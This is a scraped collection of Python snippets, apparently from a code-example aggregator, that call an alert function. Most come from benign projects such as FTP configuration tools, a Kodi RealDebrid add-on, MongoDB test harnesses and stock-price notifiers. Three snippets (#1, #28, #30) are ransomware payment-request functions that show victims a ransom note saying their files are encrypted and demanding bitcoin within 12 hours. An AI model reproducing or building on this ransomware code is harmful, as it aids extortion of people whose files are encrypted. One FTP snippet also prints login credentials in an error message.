Beispiel #1
0
def request_payment(bitcoin_wallet, text=None, title=None):
    """
    Request ransom payment from user with a Windows alert message box

    `Required`
    :param str bitcoin_wallet:      a valid Bitcoin wallet address

    """
    try:
        if os.name is 'nt':
            if bitcoin_wallet:
                alert = util.alert(
                    text=
                    "Your personal files have been encrypted. The service fee to decrypt your files is $100 USD worth of bitcoin (try www.coinbase.com or Google 'how to buy bitcoin'). Below is the temporary bitcoin wallet address created for the transfer. It expires in 12 hours from now at %s, at which point the encryption key will be deleted unless you have paid."
                    % time.localtime(time.time() + 60 * 60 * 12))
            elif payment_url:
                alert = util.alert(
                    "Your personal files have been encrypted.\nThis is your Session ID: {}\nWrite it down. Click here: {}\n and follow the instructions to decrypt your files.\nEnter session ID in the 'name' field. The decryption key will be emailed to you when payment is received.\n"
                    .format(session['id'], payment_url), "Windows Alert")
            else:
                return "{} missing argument(s): bitcoin_wallet, payment_url"
            return "Launched a Windows Message Box with ransom payment information"
        else:
            return "{} does not yet support {} platform".format(
                request_payment.func_name, sys.platform)
    except Exception as e:
        return "{} error: {}".format(request_payment.func_name, str(e))
Beispiel #2
0
    def ask_for_profile(self, widget=None):
        # Refresh available configurations?

        config_dialog = AskForConfig(self.profiles.config)
        configname = config_dialog.run()
        if not configname:
            return
        if self.offline == True:  # if an offline configuration is open, offer to save it
            alert(
                "TODO : Do you want to save your changes, before opening another configuration?"
            )
            # TODO : finish this dialog
            self.offline = False

        self.ftp_config = self.profiles.config[configname]
        if not self.profiles.config['__options']:
            self.profiles.config['__options'] = {}
        self.profiles.config['__options']["last_config"] = configname
        self.profiles.profile_save_config()
        if self.open_connexion_profile(configname):
            self.arw["configname"].set_text(configname)
            self.arw["save_button1"].set_sensitive(True)
            self.arw["save_button2"].set_sensitive(True)
        else:
            self.arw["configname"].set_text("---")
            self.arw["save_button1"].set_sensitive(False)
            self.arw["save_button2"].set_sensitive(False)
Beispiel #3
0
 def onEnterException(self):
     self.enter_excetption_count = self.enter_excetption_count + 1
     if self.enter_excetption_count > 3:
         alert()
         reset_wifi()
         self.enter_excetption_count = 0
     return self.reenter_008
Beispiel #4
0
def test_all(collection1, collection2, **kwargs):
    okay = True
    number_passed = number_failed = 0
    to_csv = kwargs.get("to_csv") or "upsert_test.csv"
    if to_csv:
        mf = open(to_csv, "a+")
        mf.truncate()
        mf.write('|'.join([
            'Operator Type', 'Passed?', 'Return 1', 'Return 2', 'Selector', 'Update', 'Label', 'Collection1',
            'Collection2'
        ]) + '\r\n')
    for t in tests:
        passed, r1, r2, operator_type = test(collection1, collection2, t)
        number_passed = number_passed + 1 if passed else number_passed
        number_failed = number_failed + 1 if not passed else number_failed
        okay = passed and okay
        if to_csv:
            mf.write("|".join([
                t[3],
                str(passed),
                str(r1),
                str(r2),
                str(dict(t[1])),
                str(dict(t[2])), t[0],
                str(collection1),
                str(collection2), '\r\n'
            ]))
    if to_csv:
        mf.close()
    print util.alert("Passed: %d, Failed: %d" % (number_passed, number_failed))
    return okay
Beispiel #5
0
def ftp_connect(server, login, password, controller=None):
    global ftp1

    if password[0:1] == "%":
        hysteresis = ""
        i = 0
        for deplacement in password:
            if i % 2 == 1:
                hysteresis += deplacement
            i += 1
        password = hysteresis

    try:
        ftp = FTP(server, timeout=15)  # connect to host, default port
        ftp.login(login, password)
        # for (name, properties) in ftp.mlsd():     # would be better, but the ftp server of Idefix does not support the command
        #    if name == "idefix" and properties['type'] == "dir":
        if "idefix" in ftp.nlst():
            ftp.cwd("idefix")
            if controller:
                controller.idefix_module = True
        else:
            if controller:
                controller.idefix_module = False
        return ftp
    except OSError as e:
        alert(_("Cannot connect to %s. Host not found") % server)
    except FTPError as e:
        alert(_("Cannot connect to %s. Reason: %s") % (server, e))
        print("Unable to connect to ftp server with : %s / %s. \nError: %s" %
              (login, password, e))
def refreshToken():
    cj_rd = cookielib.CookieJar()
    opener_rd = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj_rd))
    data_rd = urllib.urlencode({
        'client_id':
        xbmcaddon.Addon('script.realdebrid.mod').getSetting('rd_id'),
        'client_secret':
        xbmcaddon.Addon('script.realdebrid.mod').getSetting('rd_secret'),
        'code':
        xbmcaddon.Addon('script.realdebrid.mod').getSetting('rd_refresh'),
        'grant_type':
        'http://oauth.net/grant_type/device/1.0'
    })

    try:
        resp = opener_rd.open('https://api.real-debrid.com/oauth/v2/token',
                              data_rd)
        content = resp.read()

        credJSON = json.loads(content)

        xbmcaddon.Addon('script.realdebrid.mod').setSetting(
            'rd_access', credJSON['access_token'])
        xbmcaddon.Addon('script.realdebrid.mod').setSetting(
            'rd_refresh', credJSON['refresh_token'])

        #util.logError("write complete: "+str(credJSON))
        #util.logError("checking values"+xbmcaddon.Addon('script.realdebrid.mod').getSetting('rd_access')+" "+xbmcaddon.Addon('script.realdebrid.mod').getSetting('rd_refresh'))

        authorised = True
    except Exception as e:
        util.logError("Error Refreshing Token: " + str(e))
        util.alert("Your RealDebrid account needs re-authorising")
        auth()
Beispiel #7
0
    def load_connection(self):
        print("load connexion")
        ftp1 = self.ftp_config
        if ip_address_test(
                ftp1["server"]
        ):  # If we are connected directly to an Idefix module
            ip = ftp1["server"]
            try:
                h1 = http.client.HTTPConnection(ip, timeout=10)
                h1.connect()

                try:
                    h1.request("GET", "/network-info.php")
                    res = h1.getresponse()
                    if res.status == 200:
                        data1 = res.read().decode("cp850")
                        content = json.loads(data1)
                        self.myip = content["client"]["ip"]
                        self.mymac = content["client"]["mac"]
                        if self.mymac in self.maclist:
                            self.myaccount = self.maclist[self.mymac]
                        else:
                            self.myaccount = _("unknown")
                except FTPError:
                    info = print_except(True)
                    message = ""
                    for line in info.split("\n"):
                        if "error" in line.lower():
                            message += line + "\n"
                    alert("could not get network-info.php")

                self.assistant.refresh_detect_list()

                # Check if the date is correct and if not, update it
                t1 = time.time()
                try:
                    self.information.check_date()
                except:
                    print("Error when checking date")
                delta = int(time.time() - t1)
                print("self.information.check_date() : ", str(delta))

            except FTPError:
                info = print_except(True)
                message = ""
                for line in info.split("\n"):
                    if "error" in line.lower():
                        message += line + "\n"
                alert("Impossible to join " + ip + "\n\n" + message)

        # Check our mac address exists
        print("self.check_mac_and_create_config()")
        self.check_mac_and_create_config()

        # Experimental
        if hasattr(self, "myaccount"):
            self.arw2["my_account"].set_text(self.myaccount)

        return True
Beispiel #8
0
 def onConnectTimeout(self):
     print("connect failed!!")
     self.reconnect_times = 1 + self.reconnect_times
     if self.reconnect_times > 3:
         alert()
         reset_wifi()
         self.reconnect_times = 0
     return self.close_connection
Beispiel #9
0
def test(collection, t):
    (test_name, field, records, expected_return, query) = t
    okay = distinct_test(test_name, collection, field, records, expected_return, query)
    if okay:
        print util.alert('PASS', 'okgreen')
        return True
    print util.alert('FAIL', 'fail')
    return False
 def idefix2_test_ftp(self, *args):
     valid = ftp_connect(self.config['ftp']['ftp'],
                         self.config['ftp']['login'],
                         self.config['ftp']['password'])
     if not valid:
         alert(_("Could not conect to FTP"))
     else:
         showwarning(_("Test FTP"), _("FTP Connection Success"), 5)
Beispiel #11
0
def test(collection, t):
    (name, number, performer) = t
    sys.stdout.write("Testing %s..." % name)
    okay = performer(collection, number)
    if okay:
        print util.alert('PASS', 'okgreen')
        return True
    print util.alert('FAIL', 'fail')
    return False
Beispiel #12
0
def workflow(key_cookie, vrbt_cookie):
    mail.build_msg(now)
    if webdata(key_cookie, vrbt_cookie):
        sendmsg()
        mail.build_msg("微信消息已发送")
    else:
        alert("alertmusic.mp3")
        mail.build_msg("告警已触发")
    mail.send()
 def idefix2_load_from_idefix(self, widget=None):
     """Load configuration from idefix (if connected)"""
     data = self.controller.information.get_infos('get_conf')
     conf_list = json.loads(data, object_pairs_hook=OrderedDict)
     if 'idefix2_conf.json' not in conf_list:
         alert(_("No idefix2 config found"))
         return
     self.config = json.loads(conf_list['idefix2_conf.json'],
                              object_pairs_hook=OrderedDict)
     self.set_text_values()
def download(parameters, dest=addon.getSetting('download_path')):
    if parameters['method'] == "downloads":
        simpledownloader.download(parameters['name'], parameters['poster'],
                                  parameters['url'], dest)
    else:
        link = unrestrict({"url": parameters['url']})
        if not link:
            util.alert("There was an error downloading your file")
        else:
            simpledownloader.download(parameters['name'], parameters['poster'],
                                      link['download'], dest)
Beispiel #15
0
def isError(toCheck):
    try:
        if toCheck['error']:
            if toCheck['error_code']==8:
                # need to refresh token
                refreshToken()
                return 8
            else:
                util.alert("Error "+str(toCheck['error_code'])+": "+string.capwords(toCheck['error'].replace("_", " ")))
                util.logError("Error "+str(toCheck['error_code'])+": "+toCheck['error'])
                return True
    except:
       return False
Beispiel #16
0
def playVideo(params):
    download=params['url']
    ol=util.getURL('https://api.openload.io/1/file/dlticket?file='+download+fileInfo(), hdr)
    jsonResponse=json.loads(ol)
    if jsonResponse['status']!=200:
        util.alert(str(jsonResponse['msg']))
    else:
        ol=util.getURL('https://api.openload.io/1/file/dl?file='+download+'&ticket='+jsonResponse['result']['ticket'], hdr)
        jsonResponse=json.loads(ol)
        if jsonResponse['status']!=200:
            util.alert(str(jsonResponse['msg']))
        else:
            util.playMedia(params['name'], params['poster'],jsonResponse['result']['url'], "Video")
Beispiel #17
0
def isError(toCheck):
    try:
        if toCheck['error']:
            if toCheck['error_code']==8:
                # need to refresh token
                refreshToken()
                return 8
            else:
                util.alert("Error "+str(toCheck['error_code'])+": "+string.capwords(toCheck['error'].replace("_", " ")))
                util.logError("Error "+str(toCheck['error_code'])+": "+toCheck['error'])
                return True
    except:
       return False
def run_tests(collection1, collection2, names):
    okay = True
    for name in names:
        this_file = __file__[__file__.rfind('/') + 1:].replace('.pyc', '.py')
        if name.endswith('_tests.py') and name != this_file:
            print "\nRunning tests from module \"%s\"" % util.alert(
                name[:-3], 'okblue')
            m = importlib.import_module('unit.' + name[:-3])
            passed = m.test_all(collection1, collection2)
            okay = passed and okay
            print util.indent(util.alert("%s tests" % str(len(m.tests))), 1)
            print "end of \"%s\"" % util.alert(name[:-3],
                                               'okgreen' if passed else 'fail')
    return okay
Beispiel #19
0
    def test_alert(self):
        rate = 1
        # 初始上涨3.5%,报警
        cache_rate, diff, is_alert = alert(10.35, 10, rate=rate)
        print(cache_rate, diff)
        self.assertEqual(cache_rate, Decimal('3.5'))
        self.assertTrue(is_alert)

        # 保持上一价格,不报警
        cache_rate, diff, is_alert = alert(10.35, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('0'))
        self.assertFalse(is_alert)

        # 上一价格基础上下跌0.5,不报警
        cache_rate, diff, is_alert = alert(10.30, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('-0.5'))
        self.assertFalse(is_alert)

        # 上一价格基础上下跌至1.1,报警
        cache_rate, diff, is_alert = alert(10.24, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('-1.1'))
        self.assertTrue(is_alert)

        # 上一价格基础上上涨2.2,报警
        cache_rate, diff, is_alert = alert(10.46, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('2.2'))
        self.assertTrue(is_alert)

        # 初始下跌3.5%,报警
        cache_rate, diff, is_alert = alert(9.65, 10, rate=rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('-3.5'))
        self.assertTrue(is_alert)

        # 下跌2
        cache_rate, diff, is_alert = alert(9.45, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('-2'))
        self.assertTrue(is_alert)

        # 上一价格基础上上涨10.1,报警
        cache_rate, diff, is_alert = alert(10.46, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('10.1'))
        self.assertTrue(is_alert)

        # 上一价格基础上下跌0.1,不报警
        cache_rate, diff, is_alert = alert(10.45, 10, cache_rate)
        print(cache_rate, diff)
        self.assertEqual(diff, Decimal('-0.1'))
        self.assertFalse(is_alert)
Beispiel #20
0
    def run(self, configpath=None, offline=False, to_json=False):
        """Export the configuration either as a zip file if to_json=False or as a json file if to_json=True"""

        if not configpath:
            dialog = Gtk.FileChooserDialog(
                _("Export Config"),
                self.arw['window1'],
                Gtk.FileChooserAction.SAVE,
                (_("Export"), Gtk.ResponseType.ACCEPT),
            )
            file_filter = Gtk.FileFilter()
            if to_json:
                file_filter.add_pattern('*.json')
            else:
                file_filter.add_pattern('*.zip')
            dialog.set_filter(file_filter)

            response = dialog.run()
            if response == Gtk.ResponseType.ACCEPT:
                configpath = dialog.get_filename()
            dialog.destroy()

        config2 = self.controller.rebuild_config()
        config2_str = json.dumps(config2, indent=3)

        if to_json:
            f1 = open(configpath, "w", newline="\n")
            f1.write(config2_str)
            f1.close()
        else:
            zf = zipfile.ZipFile(os.path.splitext(configpath)[0] + ".zip", 'w')
            try:
                x = Information.get_infos(self, "get_conf")
                conf_list = json.loads(x)
                zf.writestr("idefix2_conf.json", conf_list["idefix2_conf.json"])
                if "idefix_auto.conf" in conf_list:
                    zf.writestr("idefix_auto.conf", conf_list["idefix_auto.conf"])
            except TypeError:
                if offline:
                    print("No connection, skipping idefix2_conf.json")
                else:
                    alert(_("Cannot retrieve network configuration from Idefix"))
                    return

            zf.writestr("idefix.json", config2_str)
            zf.write(get_config_path('confix.cfg'), 'confix.cfg')
            zf.close()
        alert(_("Configuration saved"))
Beispiel #21
0
def check2(code, wechate_account, cache_rate=None):
    time.sleep(1)
    df = ts.get_realtime_quotes(code)
    # print(df)
    e = df[['code', 'name', 'price', 'pre_close', 'time']]
    p = df[u'price']
    pre_close = float(df[u'pre_close'])
    name = df[u'name'][0]
    open_price = float(df['open'][0])
    # print(open_price)
    current_price = float(p[0])

    # todo 1:涨跌超过指定百分比报警,当前价格/昨日收盘价*100,取整,>1的整数倍报警;2:涨跌超过基准百分比报警
    current_rate, cache_rate, diff, is_alert = alert(current_price, pre_close,
                                                     cache_rate)
    if diff > Decimal('0'):
        print('%s 当前价格:%.2f, 涨跌幅:%.2f, 上涨 %.2f' %
              (name, current_price, current_rate, diff))
    elif diff < Decimal('0'):
        print('%s 当前价格:%.2f, 涨跌幅:%.2f, 下跌 %.2f' %
              (name, current_price, current_rate, diff))
    if is_alert:
        if diff > Decimal('0'):
            sendmsg(
                '%s 当前价格:%.2f, 涨跌幅:%.2f, 上涨 %.2f' %
                (name, current_price, current_rate, diff), wechate_account)
        else:
            sendmsg(
                '%s 当前价格:%.2f, 涨跌幅:%.2f, 下跌 %.2f' %
                (name, current_price, current_rate, diff), wechate_account)

    return cache_rate
Beispiel #22
0
def test(collection, t):
    (name, indexes, query, condition) = t
    sys.stdout.write("Testing %s..." % name)
    collection.drop_indexes()
    for index in indexes:
        collection.ensure_index(index.keys, name=index.name)
    explanation = collection.find(query).explain()
    # print explanation
    okay = condition(explanation['explanation'])
    if okay:
        print util.alert('PASS', 'okgreen')
        return True
    else:
        print util.alert('FAIL', 'fail')
        print explanation['explanation']
        return False
    def idefix2_send_config(self, widget=None):
        """Send configuration to idefix (if connected)"""
        if not self.validate_config():
            return

        auto_conf = None
        if self.autoddclient_config:
            auto_conf = self.get_auto_ddclient_config()

        if 'ddclient_options' in self.config:
            del self.config['ddclient_options']

        self.controller.restore_dialog.import_network(
            json.dumps(self.config, indent=3), auto_conf)
        alert(
            _("Sent configuration to idefix.\nIt may be necessary to restart your device for your changes to take effect"
              ))
 def profile_selection_updated(self, widget):
     """Update the text entries when the selection changes"""
     self.block_signals = True
     model, selected_iter = widget.get_selected()
     if not selected_iter:
         alert(
             "There is no configuration selected. \nPlease, select a configuration before editing."
         )
     self.arw['profile_name_entry'].set_text(
         model.get_value(selected_iter, COLUMN_NAME))
     self.arw['profile_username_entry'].set_text(
         model.get_value(selected_iter, COLUMN_USERNAME) or '')
     self.arw['profile_password_entry'].set_text(
         model.get_value(selected_iter, COLUMN_PASSWORD) or '')
     self.arw['profile_server_entry'].set_text(
         model.get_value(selected_iter, COLUMN_SERVER) or '')
     #self.arw['profile_mode_combo'].set_active_iter(self.mode_iters[model.get_value(selected_iter, COLUMN_MODE)])
     self.block_signals = False
Beispiel #25
0
def check(code,
          base,
          price_max,
          price_min,
          percent_max,
          percent_min,
          percent_max_10,
          percent_min_10,
          cost,
          stop_loss,
          target_profit,
          wechate_account,
          rate,
          cache,
          is_first,
          cache_rate=None):
    time.sleep(1)
    df = ts.get_realtime_quotes(code)
    print(df)
    e = df[['code', 'name', 'price', 'pre_close', 'time']]
    p = df[u'price']
    open = float(df[[u'open']])
    pre_close = float(df[u'pre_close'])
    name = df[u'name'][0]
    print(e)
    current_price = float(p[0])
    if not base:
        base = current_price

    # todo 1:涨跌超过指定百分比报警,当前价格/昨日收盘价*100,取整,>1的整数倍报警;2:涨跌超过基准百分比报警
    rate = 1
    cache_rate, diff = alert(current_price, pre_close, cache_rate)
    if diff > 0 and diff >= rate:
        sendmsg('%s current:%.2f, more %.2f' % (name, p[0], diff),
                wechate_account)
    elif diff < 0 and diff <= rate:
        sendmsg('%s current:%.2f, less %.2f' % (name, p[0], diff),
                wechate_account)

    price2_key = 'price2_%s' % code
    if price2_key not in cache:
        price2(price_max, price_min, current_price, name, wechate_account)
        cache[price2_key] = 'alerted'
    up_and_down_key = 'up_and_down_%s' % code
    if up_and_down_key not in cache:
        up_and_down(pre_close, current_price, percent_max, percent_min, name,
                    wechate_account)
        cache[up_and_down_key] = 'alerted'
    profit_and_loss_key = 'profit_and_loss_%s' % code
    if profit_and_loss_key not in cache:
        profit_and_loss(cost, current_price, target_profit, stop_loss, name,
                        wechate_account)
        cache[profit_and_loss_key] = 'alerted'

    return base
Beispiel #26
0
def upload_file():
    if not weibo.check_login_status():
        if not util.check_config_file():
            util.generate_config()

        config = util.read_config()

        if not config:
            util.alert('请先设置你的微博账号')
            util.open_with_editor()
            sys.exit(0)

        username = config['username']
        password = config['password']

        try:
            weibo.login_with_username_and_password(username, password)
        except:
            util.alert('登录失败,请重试!')
            sys.exit(0)


        if weibo.check_login_status():
            util.delete_config()
        else:
            util.alert('登录失败,请重试!')
            sys.exit(0)

    img_file = get_paste_img_file()

    if img_file:
        try:
            url = weibo.request_image_url(img_file.name)
            return url
        except:
            util.delete_cookie()
            util.alert('Cookie 过期,请重新登录!')
            sys.exit(0)
            return None
    else:
        util.alert('您的剪切板里没有图片!')
        sys.exit(0)
 def main_loop(self):
     dr = self.driver
     m008 = self.machine008
     m = self.machine
     while True:
         try:
             MachineVPN(dr).run()
             m008.run()
             #############
             # m.set_chanel_mission(MachineQD(m, app_time_map))
             m.run()
         except Exception as e:
             print("somting wrong")
             print(e)
             alert()
             check_crash(dr)
         finally:
             pass
         print("Again\n")
         # show_message("Again\n")
     alert()
     return self.exit
Beispiel #28
0
def request_payment(bitcoin_wallet):
    """
    Request ransom payment from user with a Windows alert message box

    `Required`
    :param str bitcoin_wallet:      a valid Bitcoin wallet address

    """
    try:
        alert = util.alert("Your personal files have been encrypted. The service fee to decrypt your files is $100 USD worth of bitcoin (try www.coinbase.com or Google 'how to buy bitcoin'). The service fee must be tranferred to the following bitcoin wallet address: %s. The service fee must be paid within 12 hours or your files will remain encrypted permanently. Deadline: %s" % (bitcoin_wallet, time.localtime(time.time() + 60 * 60 * 12)))
        return "Launched a Windows Message Box with ransom payment information"
    except Exception as e:
        return "{} error: {}".format(request_payment.__name__, str(e))
Beispiel #29
0
def test_all(collection1, collection2):
    print "Unique index tests only use first collection specified"
    okay = True
    # since unique index applies to the whole collection, and it counts null values, we need a brand new collection
    # to run tests.
    client = collection1.database.client
    tmp_db = client["unique_index_tests_tmp_db"]
    tmp_collection = None
    for t in tests:
        # clean up the collection before every test
        if tmp_collection is None:
            tmp_collection = tmp_db["unique_index_tests_tmp_collection"]
        else:
            tmp_collection.drop()
            tmp_collection = tmp_db["unique_index_tests_tmp_collection"]
        okay = t(tmp_collection) and okay
        if okay:
            print util.alert("PASS", "okgreen")
        else:
            print util.alert("FAIL", "fail")
    tmp_collection.drop()
    client.drop_database("unique_index_tests_tmp_db")
    return okay
Beispiel #30
0
def request_payment(bitcoin_wallet):
    """
    Request ransom payment from user with a Windows alert message box

    `Required`
    :param str bitcoin_wallet:      a valid Bitcoin wallet address

    """
    try:
        alert = util.alert(
            "Your personal files have been encrypted. The service fee to decrypt your files is $100 USD worth of bitcoin (try www.coinbase.com or Google 'how to buy bitcoin'). The service fee must be tranferred to the following bitcoin wallet address: %s. The service fee must be paid within 12 hours or your files will remain encrypted permanently. Deadline: %s"
            % (bitcoin_wallet, time.localtime(time.time() + 60 * 60 * 12)))
        return "Launched a Windows Message Box with ransom payment information"
    except Exception as e:
        return "{} error: {}".format(request_payment.func_name, str(e))
Beispiel #31
0
    def find_good_backup(self):
        """Find a good backup from Idefix"""

        # Download list of available back ups
        try:
            backup_list = json.loads(
                self.information.get_infos('list_backups'))
            backup_list.sort(reverse=True)
        except:
            backup_list = []

        for backup in backup_list:
            # Download the zip file and extract it
            filedata = self.information.get_infos('get_backup ' + backup,
                                                  result='result.zip')
            backup_f = io.BytesIO()
            backup_f.write(filedata)
            backup_f.seek(0)
            try:
                zf = zipfile.ZipFile(backup_f)
            except zipfile.BadZipFile as e:
                print("Error extracting backup", backup, e)
                continue

            # Try load configuration from the file
            if self.restore_dialog.load_from_backup(zf,
                                                    type=['permissions'],
                                                    show_warning=True):
                print("Error loading backup", backup)
                continue
            else:
                showwarning(_("Restore Backup"),
                            _("Restored from backup %s") % backup)

                self.load_connection()
                return

        self.ftp.close()
        # No good backups were found
        return alert(
            "Unable to load configuration. Please import another one.")
Beispiel #32
0
def torrentsDelete(id):
    refreshToken()
    headers={"Authorization": "Bearer "+str(xbmcaddon.Addon().getSetting('rd_access'))}
    r = requests.delete("https://api.real-debrid.com/rest/1.0/torrents/delete/"+str(id), headers=headers)
    
    if r.status_code==404:
        util.alert("Unable to delete torrent, permission denied.")
        return False
    elif r.status_code==403:
        util.alert("Unable to delete torrent, torrent not found.")
        return False
    elif r.status_code==401:
        util.alert("Unable to delete torrent.")
        return False
        
    return True
Beispiel #33
0
def torrentsDelete(id):
    refreshToken()
    headers={"Authorization": "Bearer "+str(xbmcaddon.Addon().getSetting('rd_access'))}
    r = requests.delete("https://api.real-debrid.com/rest/1.0/torrents/delete/"+str(id), headers=headers)
    
    if r.status_code==404:
        util.alert("Unable to delete torrent, permission denied.")
        return False
    elif r.status_code==403:
        util.alert("Unable to delete torrent, torrent not found.")
        return False
    elif r.status_code==401:
        util.alert("Unable to delete torrent.")
        return False
        
    return True
Beispiel #34
0
 def CMD(self, idMenu, rec, cntrp):
     # indici di vcMENU
     PACKAGE=2
     MODULO=3
     TITOLO=4
     ABILITAZIONE=5
     TCPART=6
     TIPO_MODULO=8
     if idMenu in self.frampageID:
         id=self.frampageID.index(idMenu)           
         finestra=self.frampageFra[id]
         if rec !="" :
             if finestra.child.is_look()==False:
                 finestra.child.data_reload(rec,cntrp)
             else:
                 util.alert(self,
                 _("Il modulo ' ")+self.vcMENU[idMenu][TITOLO]+_(" ' e' gia' in uso ed e' BLOCCATO")+
                 _(" in quanto e' attualmente in fase di nuovo inserimento o modifica!!!")+"\n"+
                 _("Per fare in modo che l'operazione abbia successo devi prima sbloccare il modulo") +
                 _(" interrompendo l'inserimento o la modifica in corso"), _("Attenzione !!!"))
         finestra.Iconize(False)
         finestra.Raise()
         finestra.SetFocus()
     elif idMenu in self.notepageID:
         id=self.notepageID.index(idMenu)            
         topo=self.notepageObj[id]
         if rec !="" :
             if topo.is_look()==False:
                 topo.data_reload(rec,cntrp)
             else:
                 util.alert(self,
                 _("Il modulo ' ")+self.vcMENU[idMenu][TITOLO]+_(" ' e' gia' in uso ed e' BLOCCATO")+
                 _(" in quanto e' attualmente in fase di nuovo inserimento o modifica!!!")+"\n"+
                 _("Per fare in modo che l'operazione abbia successo devi prima sbloccare il modulo") +
                 _(" interrompendo l'inserimento o la modifica in corso"), _("Attenzione !!!"))
         new = self.notebook_1.GetSelection()
         if new!=id :
             aux=self.notepageObj[new]
             aux.Hide()
             self.sizer_6.Detach(aux)
             #topo=self.notepageObj[id]
             self.sizer_6.Add(topo, 1, wx.EXPAND, 0)
             topo.Show(True)
             self.sizer_6.Layout()
             self.notebook_1.SetSelection(id)
         self.Raise()
         topo.SetFocus()
     else:  
         if  1 == 1 : #self.__abilitazione >= int(self.vcMENU[idMenu][ABILITAZIONE]):  # poi da rimettere terminata transizione da 0.9.7. a 0.9.8
             if (self.vcMENU[idMenu][MODULO] != ""):
                 wx.BeginBusyCursor()
                 try:
                     print self.vcMENU[idMenu][MODULO]
                     module = __import__(self.vcMENU[idMenu][PACKAGE] +\
                           "." + self.vcMENU[idMenu][MODULO],
                           globals,locals,self.vcMENU[idMenu][MODULO])
                 finally:
                     wx.EndBusyCursor()
                 wx.SafeYield()
                 if self.vcMENU[idMenu][TIPO_MODULO]=="3" :  # frame autonomo
                     control = [self.vcMENU[idMenu][TITOLO],
                                cntrp,
                                rec, self.AggMenu, idMenu, self.CMD]
                     win = module.create(self.winMDI, control)
                     win.Centre(wx.BOTH) # poi da togliere - solo per migliore visualizzazione su moduli 0.9.7
                     win.Show(True)
                     self.frampageID.append(idMenu)
                     self.frampageObj.append(win)
                     self.frampageFra.append(win)
                 elif self.vcMENU[idMenu][TIPO_MODULO]=="4" :
                     control = [self.vcMENU[idMenu][TITOLO],
                                cntrp,
                                rec, self.AggMenu, idMenu, self.CMD]
                     win = module.create(self.winMDI, control)
                     win.Centre(wx.BOTH)
                     win.ShowModal()
                 elif self.destro==True : #self.vcMENU[idMenu][TIPO_MODULO]=="1": # self.destro==True : #self.vcMENU[idMenu][8]=="0":
                     fram=MyFrame(self.winMDI,-1,self.vcMENU[idMenu][TITOLO])
                     control = [self.vcMENU[idMenu][TITOLO],
                                cntrp,
                                rec, self.AggMenu, idMenu, self.CMD]
                     win = module.create(fram, control)
                     ########
                     if self.flagcolmod==1 : win.pnl.SetBackgroundColour(self.backcolmod)
                     #########
                     fram.child=win
                     fram.SetClientSize(fram.child.GetSize())
                     fram.Centre(wx.BOTH)
                     fram.Show(True)
                     fram.child.SetFocus()
                     self.frampageID.append(idMenu)
                     self.frampageObj.append(win)
                     self.frampageFra.append(fram)
                 else: 
                     control = [self.vcMENU[idMenu][TITOLO],
                                cntrp,
                                rec, self.AggMenu, idMenu, self.CMD]
                     topo = module.create(self.window_2_pane_2, control)
                     ##############
                     if self.flagcolmod==1 : topo.pnl.SetBackgroundColour(self.backcolmod)
                     #for x in topo.pnl.GetChildren(): x.SetBackgroundColour(self.backcolmod)
                     ##############
                     self.notepageID.append(idMenu)
                     self.notepageObj.append(topo)
                     self.panel_1 = wx.Panel(self.notebook_1, -1,size=(0,0))
                     self.notebook_1.AddPage(self.panel_1,self.vcMENU[idMenu][TITOLO],select=True)
                     self.notebook_1.SetSelection(len(self.notepageID)-1)
                     self.Raise()  #nel caso ci sia sopra un frame
             elif ttl=='title' : pass # tenuto per retrocompatibilita' con la 0.9.7, poi da eliminare
             else:  
                 util.alert(self,_("Funzione non ancora implementata"))
         else:
             util.alert(self,_("Non sei abilitato all'uso di questa funzione"))
Beispiel #35
0
def test(collection1, collection2, test):
    (label, selector, update, operator_type) = test

    sys.stdout.write('\tTesting \"%s\"... ' % label)

    update = util.deep_convert_to_ordered(update)

    collection1.remove()
    collection2.remove()

    def up(c, s, u):
        c.update(s, u, upsert=True, multi=False)

    errors = []
    ret1 = ret2 = []

    for c in (collection1, collection2):
        try:
            up(c, selector, update)
        except OperationFailure as e:
            errors.append("PyMongo upsert failed! Error was: " + str(e))
        except MongoModelException as e:
            errors.append("MongoModel upsert failed! Error was: " + str(e))

    if (len(errors)) == 1:
        print util.alert('FAIL', 'fail')
        print errors[0]
        return (False, [], [], operator_type)
    elif (len(errors)) == 2:
        print util.alert('PASS', 'okblue')
        return (True, [], [], operator_type)

    ret1 = [util.deep_convert_to_unordered(i) for i in collection1.find({})]
    ret1.sort()
    ret2 = [util.deep_convert_to_unordered(i) for i in collection2.find({})]
    ret2.sort()

    def error_report(msg):
        print util.indent(msg)
        print util.indent("Selector was: %s" % pprint(dict(selector)))
        print util.indent("Update was %s" % pprint(dict(update)))
        print util.indent("Upsert from collection1: %s" % ret1)
        print util.indent("Upsert from collection2: %s" % ret2)

    passed = True

    try:
        if len(ret1) + len(ret2) == 0:
            raise ValueError("NIL")
        for i in range(0, max(len(ret1), len(ret2))):
            try:
                del ret1[i]['_id']
            except:
                pass
            try:
                del ret2[i]['_id']
            except:
                pass
            assert ret1[i] == ret2[i]
        print util.alert('PASS', 'okgreen')
    except AssertionError:
        print util.alert('FAIL', 'fail')
        error_report("Upserts didn't match!")
        passed = False
    except IndexError:
        print util.alert('FAIL', 'fail')
        error_report("One or both upserts failed!")
        passed = False
    except ValueError as e:
        print util.alert("PASS (%s)" % str(e), 'okblue')

    return (passed, ret1, ret2, operator_type)
Beispiel #36
0
def verifyThread(authData):
    xbmc.executebuiltin('Dialog.Close(10138)') 
    # convert string to JSON
    authJSON=json.loads(authData)
    
    # create dialog with progress to show information
    authMsg="To authorise your RealDebrid account, use a browser to browse to [B]"+authJSON['verification_url']+"[/B] and enter the verification code [B]"+authJSON['user_code']+"[/B]"
    authDialog=util.progressStart("RealDebrid Authentication", authMsg)
    
    authorised=False
    timer=0
    credJSON=""
    while not authorised:
        time.sleep(2)
        timer=timer+2
        
        util.progressUpdate(authDialog, timer, authMsg)
        # check if we need to exit
        if util.progressCancelled(authDialog)==True:
            util.progressStop(authDialog)
            break
        if timer==100:
            util.progressStop(authDialog)
            util.alert("RealDebrid aithentication has timed out. Please try again.")
            break
            
        # all good to carry on lets check auth
        credentials=util.getURL("https://api.real-debrid.com/oauth/v2/device/credentials?client_id="+client_id+"&code="+authJSON['device_code'])
        
